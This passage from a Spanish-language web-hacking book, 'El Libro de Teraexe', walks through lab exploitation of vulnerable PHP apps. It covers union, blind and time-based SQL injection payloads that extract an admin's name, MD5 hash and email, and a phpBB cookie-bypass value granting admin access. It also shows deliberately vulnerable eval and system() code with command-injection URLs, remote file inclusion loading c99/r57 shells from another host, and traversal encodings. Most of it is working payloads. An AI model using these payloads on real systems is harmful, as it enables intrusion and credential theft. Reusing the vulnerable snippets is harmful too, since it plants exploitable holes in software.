nombre de usuario de MySQL, y la versión de MySQL.
Nombre de la base de datos (clan) usando el segundo campo:
URL: http://192.168.1.102/index.php?m=downloads&cid=0+union+select+1,database()
El Libro de Teraexe Alvaro J. Gene
33
Nombre de la base de datos (clan) usando el tercer campo:
URL: http://192.168.1.102/index.php?m=downloads&cid=0+union+select+1,2,database()
Nombre de la base de datos (clan) usando el sexto campo:
URL: http://192.168.1.102/index.php?m=downloads&cid=0+union+select+1,2,3,4,5,database()
El Libro de Teraexe Alvaro J. Gene
34
Nombre de usuario de la base de datos (root) usando el segundo campo:
URL: http://192.168.1.102/index.php?m=downloads&cid=0+union+select+1,user()
Nombre de usuario de la base de datos (root) usando el tercer campo:
URL: http://192.168.1.102/index.php?m=downloads&cid=0+union+select+1,2,user()
El Libro de Teraexe Alvaro J. Gene
35
Nombre de usuario de la base de datos (root) usando el sexto campo:
URL: http://192.168.1.102/index.php?m=downloads&cid=0+union+select+1,2,3,4,5,user()
Versión de la base de datos MySQL usando el segundo campo:
URL: http://192.168.1.102/index.php?m=downloads&cid=0+union+select+1,version()
El Libro de Teraexe Alvaro J. Gene
36
Versión de la base de datos MySQL usando el tercer campo:
http://192.168.1.102/index.php?m=downloads&cid=0+union+select+1,2,@@version
Versión de la base de datos MySQL usando el sexto campo:
http://192.168.1.102/index.php?m=downloads&cid=0+union+select+1,2,3,4,5,version()
El Libro de Teraexe Alvaro J. Gene
37
Parte 7: Obteniendo Tablas de la Base de Datos mediante UNION y SELECT
Segundo Campo: En este caso, usaremos el segundo campo para saber si una tabla existe. En otras palabras, usaremos
la segunda columna para saber si una tabla se encuentra dentro de la base de datos. Si MySQL nos muestra un error,
entonces significa que la tabla no existe; de lo contrario, si MySQL no nos muestra ningún error, entonces significa que
la tabla si existe.
No muestra error: Tabla ilchclan_user en la segunda columna:
http://192.168.1.102/index.php?m=downloads&cid=0+union+select+1,2 from ilchclan_user
Si muestra error (primer warning): Tabla ilchclan_something en la segunda columna:
http://192.168.1.102/index.php?m=downloads&cid=0+union+select+1,2 from ilchclan_something
El Libro de Teraexe Alvaro J. Gene
38
No muestra error: Tabla ilchclan_user en la sexta columna:
http://192.168.1.102/index.php?m=downloads&cid=0+union+select+1,2,3,4,5,6 from ilchclan_user
Si muestra error (tercer warning): Tabla ilchclan_something en la sexta columna:
http://192.168.1.102/index.php?m=downloads&cid=0+union+select+1,2,3,4,5,6 from ilchclan_something
El Libro de Teraexe Alvaro J. Gene
39
Parte 8: Obteniendo Todas las Tablas de la Base de Datos mediante information_schema
Si en nuestra inyección de SQL contamos con dos columnas o campos vulnerables, entonces podemos utilizar la técnica
del information_schema, el cual usará el segundo y sexto campo para mostrar todas las tablas de la base de datos clan:
http://192.168.1.102/index.php?m=downloads&cid=0+union+select+1,table_name,3,4,5,6 from
information_schema.tables/*
Parte 9: Obteniendo Valores almacenados en las Columnas de las Tablas
El Libro de Teraexe Alvaro J. Gene
40
Si la columna no existe, MySQL mostrará un error; de lo contrario, si la columna existe, entonces MySQL nos mostrará
los valores.
Password Encriptado en MD5: 9f26b632874c81e76cfcec249dae68f4
http://192.168.1.102/index.php?m=downloads&cid=0+union+select+1,pass,3,4,5,6 from ilchclan_user
Nombre del Administrador: Alvaro
http://192.168.1.102/index.php?m=downloads&cid=0+union+select+1,name,3,4,5,6 from ilchclan_user
El Libro de Teraexe Alvaro J. Gene
41
Email del Administrador usando el segundo campo: [email protected]
http://192.168.1.102/index.php?m=downloads&cid=0+union+select+1,email,3,4,5,6 from ilchclan_user
Email del Administrador usando el sexto campo: [email protected]
URL: http://192.168.1.102/index.php?m=downloads&cid=0+union+select+1,2,3,4,5,email from ilchclan_user
El Libro de Teraexe Alvaro J. Gene
42
Parte 10: Usando Concat para Obtener Username, Password, e Email
Usando Concat para mostrar varios valores mediante el segundo campo:
Resultado: Alvaro:9f26b632874c81e76cfcec249dae68f4:[email protected]
URL:http://192.168.1.102/index.php?m=downloads&cid=0+union+select+1,concat(name,0x3a,pass,0x3a,email),3,4
,5,6 from ilchclan_user
Usando Concat para mostrar varios valores mediante el sexto campo:
Resultado: Alvaro:9f26b632874c81e76cfcec249dae68f4:[email protected]
URL:http://192.168.1.102/index.php?m=downloads&cid=0+union+select+1,2,3,4,5,concat(name,0x3a,pass,0x3a,e
mail) from ilchclan_user
El Libro de Teraexe Alvaro J. Gene
43
MySQL – Inyecciones SQL a Ciegas
En esta sección, voy a brindar información sobre un tipo de vulnerabilidad que en inglés se le conoce como blind SQL
injection, lo que en español significaría inyección SQL a ciega. Por un lado, en las inyecciones SQL basadas en errores
que vimos en el capítulo anterior, un atacante logra obtener información sensitiva de la base de datos debido a que
MySQL arroja los resultados en aquella página web en donde el atacante se encuentra inyectando sus códigos
maliciosos; por otro lado, en las inyecciones SQL a ciegas que vamos a ver en este capítulo, la base de datos no muestra
la información sensitiva (username, passwords, emails… etc.) en la página web, pero el atacante se da cuenta de la
información que se encuentra en la base de datos debido a que MySQL arroja resultados positivos y negativos. Por
ejemplo, un resultado positivo podría ser que MySQL muestre una imagen en el website, y un resultado negativo podría
ser que MySQL no muestre la imagen dentro de la página web. En la auditoría que vamos a realizar en esta sección,
vamos a obtener respuestas positivas y negativas, las cuales van a estar relacionadas con la cantidad de información que
la base de datos muestra en nuestro website. Por ejemplo, una respuesta positiva va a ser que el website muestre mucha
información textual, y una respuesta negativa va a ser que el website no muestre mucha información textual.
Parte 1: Tecnologías para Examinar la Vulnerabilidad
En esta sección, vamos a instalar una aplicación vulnerable a las inyecciones SQL, la cual tiene como nombre UCCASS.
Las tecnologías utilizadas para examinar la vulnerabilidad son las siguientes:
1) Sistema Operativo: Microsoft Windows XP Profesional Service Pack 2 (Versión 5.1.2600)
2) Servidor HTTP: IIS 5.1
3) Lenguaje de Programación: PHP: 5.2.1
4) Base de Datos: MySQL: 4.1.22
5) Nombre de la Aplicación Vulnerable: UCCASS v.1.8.1
El Libro de Teraexe Alvaro J. Gene
44
Parte 2: Negativo y Positivo
URL: http://192.168.1.101/filter.php?sid=5 and 1=2--
Resultado: Negativo (poca información)
El Libro de Teraexe Alvaro J. Gene
45
URL: http://192.168.1.101/filter.php?sid=5 and 1=1--
Resultado: Positivo (mucha información)
El Libro de Teraexe Alvaro J. Gene
46
Parte 3: Versión de MySQL
URL: http://192.168.1.101/filter.php?sid=5 and substring(@@version,1,1)=5--
Resultado: Negativo
El Libro de Teraexe Alvaro J. Gene
47
URL: http://192.168.1.101/filter.php?sid=5 and substring(@@version,1,1)=4--
Resultado: Positivo
El Libro de Teraexe Alvaro J. Gene
48
Parte 4: Sentencia SELECT y MySQL.user
URL: http://192.168.1.101/filter.php?sid=5 and (select 1)=1--
Resultado: Positivo
El Libro de Teraexe Alvaro J. Gene
49
URL: http://192.168.1.101/filter.php?sid=5 and (select 1 from mysql.user limit 0,1)=1--
Resultado: Positivo
El Libro de Teraexe Alvaro J. Gene
50
Parte 5: Sacando Tablas
URL: http://192.168.1.101/filter.php?sid=5 and (select 1 from usersddd limit 0,1)=1--
Resultado: Negativo
El Libro de Teraexe Alvaro J. Gene
51
URL: http://192.168.1.101/filter.php?sid=5 and (select 1 from users limit 0,1)=1--
Resultado: Positivo
El Libro de Teraexe Alvaro J. Gene
52
Parte 6: Sacando Columnas
URL: http://192.168.1.101/filter.php?sid=5 and (select substring(concat(1,passwordx),1,1) from users limit 0,1)=1--
Resultado: Negativo
El Libro de Teraexe Alvaro J. Gene
53
URL: http://192.168.1.101/filter.php?sid=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1--
Resultado: Positivo
El Libro de Teraexe Alvaro J. Gene
54
URL: http://192.168.1.101/filter.php?sid=5 and (select substring(concat(1,username),1,1) from users limit 0,1)=1--
Resultado: Positivo
El Libro de Teraexe Alvaro J. Gene
55
Parte 7: Obteniendo Valores
URL: http://192.168.1.101/filter.php?sid=5 and ascii(substring((SELECT concat(username,0x3a,password) from users
limit 0,1),1,1))>80--
Resultado: Positivo
El Libro de Teraexe Alvaro J. Gene
56
URL: http://192.168.1.101/filter.php?sid=5 and ascii(substring((SELECT concat(username,0x3a,password) from users
limit 0,1),1,1))=97--
Resultado: Positivo (primera letra del username: a)
El Libro de Teraexe Alvaro J. Gene
57
URL: http://192.168.1.101/filter.php?sid=5 and ascii(substring((SELECT concat(username,0x3a,password) from users
limit 0,1),2,1))=100--
Resultado: Positivo (segunda letra del username: d)
Y así una persona va letra por letra hasta sacar todos los valores de la columna username; luego, letra por letra saca
todos los valores del password. Finalmente, con el username y password, la persona puede ganar acceso al panel
administrativo.
El Libro de Teraexe Alvaro J. Gene
58
MySQL – Inyecciones SQL Basadas en Tiempo
En el campo de la seguridad informática, existe un tipo de vulnerabilidad a nivel de website que en inglés se le llama
time-based SQL injection, lo que en español significaría inyecciones SQL basadas en tiempo. En este tipo de
vulnerabilidad, el atacante usa comandos de time-delay (tiempo de parada en segundos) en la URL de su navegador
para realizar consultas a la base de datos e ir extrayendo información sensitiva (usernames, passwords, emails… etc.)
mediante las respuestas positivas/negativas del time-delay. Por ejemplo, una respuesta positiva podría ser que el
navegador tarde más de 10 segundos en cargar ya que se cargó el time delay de 10 segundos que se incluyó en la URL
del navegador; por otro lado, una respuesta negativa podría ser que el navegador tarde 3 segundos o menos en cargar ya
que no se cargó el time delay de 10 segundos.
Introducción al Comando Sleep de MySQL
Para entender con claridad la vulnerabilidad de time-based SQL injection, un informático debe tener una base en el
funcionamiento de los comandos del time-delay; por lo tanto, en esta sección, usaremos la base de datos MySQL para
mostrar el funcionamiento de un comando de time-delay llamado sleep. En MySQL, el comando sleep puede realizar
una pausa por un número determinado de segundos únicamente si la consulta SQL que el administrador le está
enviando a su base de datos es una consulta válida; de lo contrario, si un administrador le está enviando una consulta
inválida a su base de datos, el comando sleep no va a realizar ninguna pausa. Antes de brindar un ejemplo sobre el uso
del comando sleep, vamos a ver su sintaxis, la cual es la siguiente: sleep(Integer_Value);. En el único parámetro que
usa la función sleep (Integer_Value), un administrador de base de datos solamente tiene que indicar el número de
segundos en que el comando sleep va a realizar el time-delay (tiempo de parada en segundos). Por ejemplo, si un
administrador quiere que el comando sleep dure 23 segundos en cargar después de que se le envió una consulta SQL
válida, un informático tendría que utilizar el comando sleep de la siguiente forma: sleep(23). Ya que se brindó una
pequeña introducción sobre la sintaxis del comando sleep, ahora vamos a abrir la línea de comandos de MySQL
(versión 5.0.12 o superior) para mostrar su funcionamiento. En la línea de comandos de MySQL, vamos a colocar la
El Libro de Teraexe Alvaro J. Gene
59
siguiente línea: SELECT SYSDATE() as 'Start', SLEEP(23) as 'Pause', SYSDATE() as 'end';. En la línea anterior, aparte
del comando sleep, también estamos usando la función sysdate, la cual se encarga de devolver la fecha actual de una
computadora. Como se puede notar en el comando que se le envió a la base de datos, la función sysdate se va a encargar
de mostrar el tiempo, luego se va a realizar una pausa de 23 segundos, y finalmente la función sysdate vuelve a mostrar
el tiempo, el cual va a tener una diferencia de 23 segundos. A continuación se muestra una imagen de cómo se vería la
línea de comandos de MySQL después de ejecutar una instrucción como la que se describió anteriormente:
Detectando una Vulnerabilidad de Time-Based SQL Injection
En MySQL de las versiones anteriores a la 5.0.12, para saber si un servidor tal vez pueda ser vulnerable a las
inyecciones SQL basadas en tiempo, se puede hacer una prueba similar a la siguiente:
Se produce el Time-Delay (el navegador tarda en cargar):
http://www.website.com/index.php/if(1=1,BENCHMARK(100000000,MD5(1)),1)--
No se produce el Time-Delay (el navegador no tarda en cargar):
http://www.website.com/index.php/if(1=9999,BENCHMARK(100000000,MD5(1)),1)--
El Libro de Teraexe Alvaro J. Gene
60
En MySQL de las versiones superiores a la 5.0.12, para saber si un servidor tal vez pueda ser vulnerable a las
inyecciones SQL basadas en tiempo, se puede hacer una prueba similar a la siguiente:
Se produce el Time-Delay (el navegador tarda en cargar):
http://www.website.com/index.php/if(1=1,sleep(10),0)--
No se produce el Time-Delay (el navegador no tarda en cargar):
http://www.website.com/index.php/if(1=9999,sleep(10),0)--
En PostgreSQL, para saber si un servidor tal vez pueda ser vulnerable a las inyecciones SQL basadas en tiempo, se
puede hacer una prueba similar a la siguiente:
Se produce el Time-Delay (el navegador tarda en cargar):
http://www.website.com/index.php/if(1=1,pg_sleep(10),0)--
No se produce el Time-Delay (el navegador no tarda en cargar):
http://www.website.com/index.php/if(1=9999,pg_sleep(10),0)--
Time Delay
Al final de esta sección, se va a mostrar un video tutorial en donde se explota una vulnerabilidad de inyección SQL
basada en tiempo. En ese video, la primera consulta SQL con resultados positivos es la siguiente:
backup.php/IF((SELECT%20ASCII(SUBSTR(customers_email_address,1,1))%20FROM%20customers%20WHERE%
20customers_id=1)=109,BENCHMARK(100000000,MD5(1)),1)--%20.php?
A la hora de realizar un time delay (tiempo de parada en segundos), el atacante debe incluir un comando que pueda ser
interpretado por la base de datos. En las inyecciones del video se usó el comando BENCHMARK porque la base de
datos es MySQL y su versión es de las anteriores a la 5.0.12, en las cuales se puede usar BENCHMARK pero no se
El Libro de Teraexe Alvaro J. Gene
61
puede utilizar la función sleep. Cuando se trata de una base de datos MySQL superior a la versión 5.0.12, se puede usar
el comando BENCHMARK o la función sleep.
Si se trata de otras bases de datos diferentes a MySQL, entonces el intruso debe utilizar otros comandos. Por ejemplo,
en MS-SQL se puede utilizar el comando WAITFOR de una forma similar a la siguiente:
if(select user) = 'user' waitfor delay '0:0:9'
En la base de datos PostgreSQL, para causar el time delay se debe utilizar el comando PG_SLEEP. Este podría ser
usado de una forma similar a la siguiente:
backup.php/IF((SELECT%20ASCII(SUBSTR(customers_email_address,1,1))%20FROM%20customers%20WHERE%
20customers_id=1)=108,pg_sleep(20),0)--
En la base de datos Oracle es un poquito más complejo ya que a esta aplicación no se le creo un comando específico
para causar el time delay, sin embargo, un atacante podría causarla usando tácticas ingeniosas; por ejemplo, este podría
usar la función UTL_HTTP para conectar a un servidor que no existe. Esta táctica de conectar a un servidor que no
existe podría ser aplicada de una forma similar a la siguiente:
SELECT 't' ||Utl_Http.request('http://www.website.com') FROM dual WHERE (SELECT data_in_column
FROM table WHERE data_in_column = 'Socket_0x03') = 'Socket_0x03'
Por un lado, si los datos Socket_0x03 se encuentran dentro de la database Oracle, el navegador del atacante tardará en
cargar y se producirá el time delay (tiempo de parada en segundos); por otro lado, si los datos Socket_0x03 no se
encuentran dentro de la database Oracle, entonces no se producirá el time delay.
El Libro de Teraexe Alvaro J. Gene
62
Time-Delay en Rojo
MySQL (versiones anteriores a la 5.0.12):
index.php/if(1=1,BENCHMARK(100000000,MD5(1)),1)--
MySQL (versiones superiores a la 5.0.12):
index.php/if(1=1,sleep(10),0)--
MS-SQL:
index.php/if(select user) = 'user' waitfor delay '0:0:9'
PostgreSQL:
index.php/if(1=1,pg_sleep(10),0)--
Count Time
En las inyecciones SQL basadas en tiempo, un atacante debe especificar un count time. ¿Qué es el count time? El count
time es el tiempo en que el navegador va a tardar en cargar después de que un intruso realiza una consulta SQL
mediante la URL de su navegador. En las versiones superiores a la 5.0.12 de MySQL, el count time se encuentra en el
primer y único parámetro de la función sleep; por ejemplo, si un intruso quiere que el navegador tarde 10 segundos en
cargar, él/ella debe utilizar el valor de 10 de una forma similar a la siguiente: sleep(10). En las versiones anteriores a la
5.0.12 de MySQL, el count time se encuentra en el primer parámetro de la función BENCHMARK; en este caso, si un
intruso quiere que el navegador tarde 10 segundos en cargar, él/ella debe utilizar el valor de 100000000 de una forma
similar a la siguiente: BENCHMARK(100000000). A continuación se mostrará en color rojo el count time de las
time-based SQL injection en diferentes tipos de base de datos:
El Libro de Teraexe Alvaro J. Gene
63
Count-Time en Rojo
MySQL (versiones anteriores a la 5.0.12):
index.php/if(1=1,BENCHMARK(100000000,MD5(1)),1)--
MySQL (versiones superiores a la 5.0.12):
index.php/if(1=1,sleep(10),0)--
MS-SQL:
index.php/if(select user) = 'user' waitfor delay '0:0:9'
PostgreSQL:
index.php/if(1=1,pg_sleep(10),0)--
Descarga del Video:
http://www.teraexe.com/SOFT/Time-Based SQLi by Socket_0x03.rar
El Libro de Teraexe Alvaro J. Gene
64
Cookie Session Bypass
En esta sección, voy a brindar información sobre una vulnerabilidad a nivel de website que en inglés se le conoce como
Cookie Session Bypass, lo que en español significaría saltarse la sesión de una cookie. Para entender este tipo de bug, lo
ideal es entender el significado y funcionamiento de una cookie. ¿Qué es una cookie? En el campo de la informática,
una cookie es aquella información que se envía desde la página web de un servidor HTTP al navegador (Internet
Explorer, Firefox, Safari…) de un cliente con la finalidad de realizar funciones específicas en el website del cliente. A
continuación se muestran algunas de las funciones que pueden realizar algunas cookies:
1. Recordar la cantidad de productos que un cliente tiene en su carro de compras y que posiblemente podría llegar a
comprar en un futuro. Si el cliente cierra su navegador y abre el mismo website 30 minutos más tarde, los productos
podrían llegar a aparecer nuevamente en el carro de compras gracias al funcionamiento de la cookie, la cual se
encargó de guardar la información relacionada con los productos que se encuentran en el carro de compras.
2. Recordar la información que un usuario buscó dentro de una página web; luego, en otros días, cuando un usuario
visita nuevamente la página web, el website puede mostrar información relacionada con el interés del cliente
gracias al funcionamiento de la cookie, la cual guardó información relacionada con la búsqueda de información que
realizo el usuario en días anteriores. Por ejemplo, si en días anteriores el cliente buscó información relacionada con
los productos informáticos, en la siguiente visita al cliente le puede aparecer publicidad relacionada con los
productos informáticos.
3. Después de que un cliente coloca su nombre de usuario y password, una cookie podría recordar la información del
cliente, de forma que el cliente no tiene que colocar sus datos en el navegador cada vez que él/ella entra a la página
web del servidor HTTP. En otras palabras, gracias al funcionamiento de una cookie, un cliente no tiene que iniciar
sesión cada vez que él/ella usa su navegador para entrar a un website.
El Libro de Teraexe Alvaro J. Gene
65
Aunque el funcionamiento de una cookie puede hacer más agradable la navegación de un cliente o administrador, esto
abre las puertas a un tipo de vulnerabilidad llamada Cookie Session Bypass. En este tipo de vulnerabilidad, el atacante
puede usar alguna herramienta para modificar el valor de una cookie y posteriormente ser reconocido por la página web
como otro usuario, como por ejemplo el administrador de la página web. Una vez que el atacante queda reconocido
como el administrador del website, él/ella ya puede ganar acceso al panel administrativo y realizar las modificaciones
que él/ella desee dentro de la página web.
Ya que se ha explicado la parte teórica sobre la vulnerabilidad de Cookie Session Bypass, ahora vamos a pasar a la parte
práctica, la cual consiste en explotar este fallo en una aplicación llamada phpBB.
Parte 1: Tecnologías para Examinar la Vulnerabilidad
A continuación se muestran las tecnologías que un informático puede utilizar para examinar la vulnerabilidad de
Cookie Session Bypass:
1) Sistema Operativo: Microsoft Windows XP Profesional Service Pack 2 (Versión 5.1.2600)
2) Servidor HTTP: IIS 5.1
3) Lenguaje de Programación: PHP: 5.2.1
4) Base de Datos: MySQL: 4.1.22
5) Nombre de la Aplicación Vulnerable: phpBB v. 2.0.6
6) Nombre del Navegador: Internet Explorer v.6.0.1
7) Nombre de la Aplicación para Modificar la Cookie: IECookiesView
El Libro de Teraexe Alvaro J. Gene
66
Después de instalar phpBB y ejecutar esa aplicación mediante nuestro navegador, veremos el siguiente website:
El Libro de Teraexe Alvaro J. Gene
67
El siguiente paso consiste en descargar y ejecutar el IECookiesView, el cual es la aplicación que vamos a utilizar para
modificar el valor de nuestra cookie.
Le damos click derecho a phpbb2mysql_data y seleccionamos Edit the Cookie’s content:
El Libro de Teraexe Alvaro J. Gene
68
En la sección de Value, vamos a cambiar el valor “a:0:{}” por el siguiente valor:
a:2:{s:11:"autologinid";b:1;s:6:"userid";s:1:"2";}
Después de añadir el nuevo valor que tendrá la cookie, le damos click a Modify Cookie para que la cookie pueda obtener
un nuevo valor.
El Libro de Teraexe Alvaro J. Gene
69
Luego, se le da click derecho al website/IP (192.168.1.102) y seleccionamos Open Web site.
Automáticamente, estaremos registrados como el administrador de la página web.
El Libro de Teraexe Alvaro J. Gene
70
Al darle click a Go to Administrative Panel, entraremos al panel administrativo:
El Libro de Teraexe Alvaro J. Gene
71
Inyecciones PHP
En el campo de la seguridad informática, existe un tipo de vulnerabilidad conocida como inyecciones PHP, las cuales
también se les conoce como Inyecciones Eval. ¿Por qué se les conoce como inyecciones eval? A este hueco de
seguridad se le conoce como inyecciones eval porque un atacante puede usar la URL de su navegador para inyectar
códigos maliciosos en una variable de PHP que se encuentra dentro de una función llamada eval.
¿En qué consiste la función eval? En el lenguaje de programación de PHP, la función eval se encarga de evaluar o
verificar que una variable sea una variable de PHP válida, la cual tiene que estar compuesta por una cadena de
caracteres (string variable). En palabras simples, la función eval se encarga de comprobar que una variable de PHP este
compuesta por un grupo de letras. Si el resultado es negativo, la función eval se encargará de devolver el resultado
correspondiente, el cual va a ser false. Usualmente, la función eval puede ser utilizada en un escenario similar al
siguiente: un informático se encuentra desarrollando una aplicación para iPhone en un lenguaje de programación como
Swift; luego, él/ella quiere convertir el valor de una variable Swift en el valor de una variable PHP para así poder
almacenar el valor de esa variable en una base de datos MySQL. En ese caso, la función eval se encargaría de
comprobar o verificar que el valor de la variable Swift fue convertida adecuadamente en una variable de PHP. Claro, un
informático con conocimientos en el campo de la seguridad informática no usaría la función eval para comprobar que
los valores se almacenaron adecuadamente en una variable de PHP para luego ser almacenados en una base de datos
MySQL, con chequear las celdas de la base de datos manualmente ya sería suficiente para comprobar que el
procedimiento fue efectivo. Entonces, moraleja: en lugar de usar la función eval, lo ideal es verificar el funcionamiento
de una aplicación manualmente.
Ya que se ha brindado una breve introducción sobre las inyecciones eval, ahora vamos a pasar a la parte práctica, la cual
consiste en desarrollar una aplicación vulnerable y explotar el fallo en nuestro servidor HTTP.
El Libro de Teraexe Alvaro J. Gene
72
Parte 1: Tecnologías para Examinar la Vulnerabilidad
1) Sistema Operativo: Microsoft Windows XP Profesional Service Pack 2 (Versión 5.1.2600)
2) Servidor HTTP: IIS 5.1
3) Lenguaje de Programación: PHP: 5.2.1
Código Vulnerable:
<?php
$action=$_GET['action'];
eval("$action");
?>
URL: http://192.168.1.102/index.php?action=phpinfo();
El Libro de Teraexe Alvaro J. Gene
73
URL: http://192.168.1.102/index.php?action=system(dir);
El Libro de Teraexe Alvaro J. Gene
74
URL: http://192.168.1.102/index.php?action=system(netstat);
URL: http://192.168.1.102/index.php?action=system(time);
URL: http://192.168.1.102/index.php?action=system(ipconfig);
El Libro de Teraexe Alvaro J. Gene
75
Remote File Inclusion
En este capítulo, estudiaremos sobre un bug a nivel de website que en inglés se le conoce como Remote File Inclusion,
lo que significaría inclusión remota de archivos. Como su nombre lo indica, en este tipo de vulnerabilidad, el atacante
usa la URL de su navegador para incluir o ejecutar archivos de forma remota en la página web de un servidor HTTP.
Por ejemplo, si un administrador tiene una aplicación de PHP que utiliza la función include para incluir el contenido de
otros websites, un atacante podría utilizar la función include del administrador para incluir su propia aplicación de PHP
dentro del website del administrador. En la aplicación de PHP del atacante, se pueden agregar funciones como por
ejemplo las siguientes:
1. Modificar o editar el contenido de las páginas web que se encuentran en el servidor HTTP.
2. Transferir archivos desde una computadora al servidor HTTP del administrador.
3. Ver y editar todos los directorios de la computadora que tiene el servidor HTTP.
4. Usar la terminal/consola/MS-DOS de la computadora que corre el servidor HTTP.
5. Transferir herramientas de administración remota a la computadora del administrador.
En el internet ya se encuentran una gran cantidad de aplicaciones que se utilizan para explotar las vulnerabilidades de
Remote File Inclusion. Esas aplicaciones se les conoce como shells de PHP y cuentan con funciones para
modificar/editar los archivos del servidor HTTP. Al final de esta sección, vamos a examinar dos tipos de PHP shells que
tienen como nombre c99 y r57.
A continuación se muestran las tecnologías para examinar la vulnerabilidad de Remote File Inclusion, además, se
mostrarán las modificaciones que se le deben realizar a esas tecnologías para que un informático pueda examinar el
fallo en su propio servidor HTTP.
El Libro de Teraexe Alvaro J. Gene
76
Parte 1: Tecnologías para Examinar la Vulnerabilidad
• Sistema Operativo: Microsoft Windows XP Profesional Service Pack 2 (Versión 5.1.2600)
• Servidor HTTP: IIS 5.1
• Lenguaje de Programación: PHP: 5.2.1
• PHP Shells: c99 y r57.
Código Vulnerable (archivo de nombre index.php que tenemos que colocar dentro de nuestro servidor HTTP):
<?php
include($_GET['page']);
?>
Configuración del archivo php.ini:
En los archivos donde se instaló el PHP, existe un archivo de nombre php.ini, el cual vamos a modificar para así poder
utilizar la función include. Dentro del archivo php.ini vamos a activar o habilitar las siguientes funciones:
allow_url_fopen y allow_url_include. Para activar esas dos funciones, después del signo igual, se tiene que colocar el
valor de On (On es una palabra inglesa que significa encendido o habilitado). Un punto importante a tener en cuenta
sobre el archivo php.ini es que ese archivo no lee o registra todo lo que contenga un punto y coma (;) a su izquierda.
Además, después de modificar el archivo php.ini, para que sus configuraciones tengan efecto, lo ideal es reiniciar la
computadora. A continuación se muestra la sección que se debe modificar en el archivo php.ini:
; Whether to allow the treatment of URLs (like http:// or ftp://) as files. allow_url_fopen = On ; Whether to allow include/require to open URLs (like http:// or ftp://) as files. allow_url_include = On
El Libro de Teraexe Alvaro J. Gene
77
Parte 2: Explotación de la Vulnerabilidad
URL: http://192.168.1.102/index.php?page=http://192.168.1.100/prueba.html
URL: http://192.168.1.102/index.php?page=http://192.168.1.100/c99.txt
El Libro de Teraexe Alvaro J. Gene
78
URL: http://192.168.1.102/index.php?page=http://192.168.1.100/r57.txt
El Libro de Teraexe Alvaro J. Gene
79
Ver directorios:
Subir y descargar archivos del servidor:
El Libro de Teraexe Alvaro J. Gene
80
Editar Archivos:
El Libro de Teraexe Alvaro J. Gene
81
Remote Command Execution
En esta sección, se brindará información sobre una vulnerabilidad conocida en inglés como Remote Command
Execution, lo que en español significaría Ejecución Remota de Comandos. Como su nombre lo indica, en este tipo de
vulnerabilidad, el atacante usa la URL de su navegador para ejecutar comandos del sistema operativo de forma remota.
Por ejemplo, en el caso de un servidor HTTP que se encuentra en el sistema operativo de Windows, un intruso pudiera
usar la URL de su navegador para ejecutar los comandos del MS-DOS mediante una aplicación vulnerable que contiene
el servidor IIS. Otro ejemplo, en el caso de un servidor HTTP que se encuentra en el sistema operativo de Linux, un
intruso pudiera usar la URL de su navegador para ejecutar los comandos de la terminal/consola mediante un website de
PHP vulnerable que se encuentre en el servidor HTTP Apache.
Aunque la vulnerabilidad de Remote Command Execution se encuentra en una gran cantidad de lenguajes de
programación, en esta sección solamente nos enfocaremos en la ejecución remota de comandos en aquellas
aplicaciones que se encuentran desarrolladas en el lenguaje de programación PHP. Dentro de PHP, se encuentra una
función llamada system. ¿En qué consiste la función system? Al igual que el lenguaje de programación C, la función
system de PHP se encarga de ejecutar los comandos del MS-DOS/terminal y mostrar los resultados del
MS-DOS/terminal dentro de la aplicación. Una línea de código normal que se encargaría de mostrar todos los archivos
que se encuentran en un directorio del servidor HTTP, se escribiría de la siguiente forma: system('dir');. Sin embargo, si
un informático comete el error de declarar una variable de PHP y luego colocarla dentro de la función system, entonces
él/ella desarrollaría un código fuente con una vulnerabilidad de Remote Command Execution. En la siguiente parte de
esta sección, veremos como desarrollar un código fuente vulnerable al Remote Command Execution, además, veremos
los pasos que un atacante puede seguir para explotar una vulnerabilidad de ejecución remota de código.
El Libro de Teraexe Alvaro J. Gene
82
Parte 1: Tecnologías para Examinar la Vulnerabilidad
• Sistema Operativo: Microsoft Windows XP Profesional Service Pack 2 (Versión 5.1.2600)
• Servidor HTTP: IIS 5.1
• Lenguaje de Programación: PHP: 5.2.1
Código Vulnerable (archivo de nombre index.php que tenemos que colocar dentro de nuestro servidor HTTP):
<?php
$cmd=$_GET['cmd'];
system($cmd)
?>
Parte 2: Explotación de la Vulnerabilidad
URL: http://192.168.1.102/index.php?cmd=date
El Libro de Teraexe Alvaro J. Gene
83
URL: http://192.168.1.102/index.php?cmd=netstat -na
URL: http://192.168.1.102/index.php?cmd=netstat -a
Mediante la URL del navegador, vamos a utilizar un comando del MS-DOS llamado mkdir, el cual se encarga de crear
directorios o carpetas:
URL: http://192.168.1.102/index.php?cmd=mkdir Socket_0x03
El Libro de Teraexe Alvaro J. Gene
84
URL: http://192.168.1.102/index.php?cmd=dir
URL: http://192.168.1.102/index.php?cmd=ipconfig -all
El Libro de Teraexe Alvaro J. Gene
85
Directory Traversal
En esta sección, voy a brindar información sobre una vulnerabilidad a nivel de website llamada Directory Traversal, el
cual también se le conoce con otros nombres como por ejemplo: Path Traversal, Dot Dot Slash Attack, Backtracking, y
Directory Climbing. En un ataque de directorio transversal, el intruso puede usar la URL de su navegador para ganar
acceso a aquellos archivos o directorios que se encuentran fuera del servidor HTTP. Por ejemplo, si un administrador
tiene un grupo de páginas web en un directorio como c:\archivos\HTTP (para que los visitantes solamente vean las
webs que se encuentran en la carpeta o directorio HTTP), un intruso pudiera explotar una vulnerabilidad de directorio
transversal para ver todos los archivos que se encuentran dentro de los siguientes directorios: c:\archivos, c:\. Un punto
interesante a tener en cuenta es la relación entre el tipo de ataque y el nombre de la vulnerabilidad. Como se puede notar
en el ejemplo anterior, el administrador solamente quiere que los clientes entren al directorio c:\archivo\HTTP, pero un
intruso llega a entrar en los directorios que se encuentran fuera del directorio HTTP, por esta razón a este tipo de
vulnerabilidad se le llama directorio transversal.
Usualmente, en los ataques de directorio transversal, un intruso solamente tiene que utilizar dos puntos y un slash (../)
en la URL de su navegador para así llegar a tener acceso a los directorios no autorizados. Por ejemplo, si el index.html
se encuentra en un directorio como c:\administrador\http\index.html y el atacante quiere ver los archivos que se
encuentran en el directorio administrador, el atacante colocaría una URL similar a la siguiente: www.teraexe.com/../. En
algunos casos, los servidores HTTP y las páginas web cuentan con sistemas de seguridades para evadir algunos ataques
de directorios transversales; en esos casos, los intrusos pueden utilizar algunas técnicas para codificar los símbolos que
van a incluir en la URL de su navegador. Por ejemplo, en lugar de utilizar símbolos como ../, un intruso puede llegar a
utilizar otros símbolos como los siguientes: (a) ..%2f (b) %2e%2e%2f.
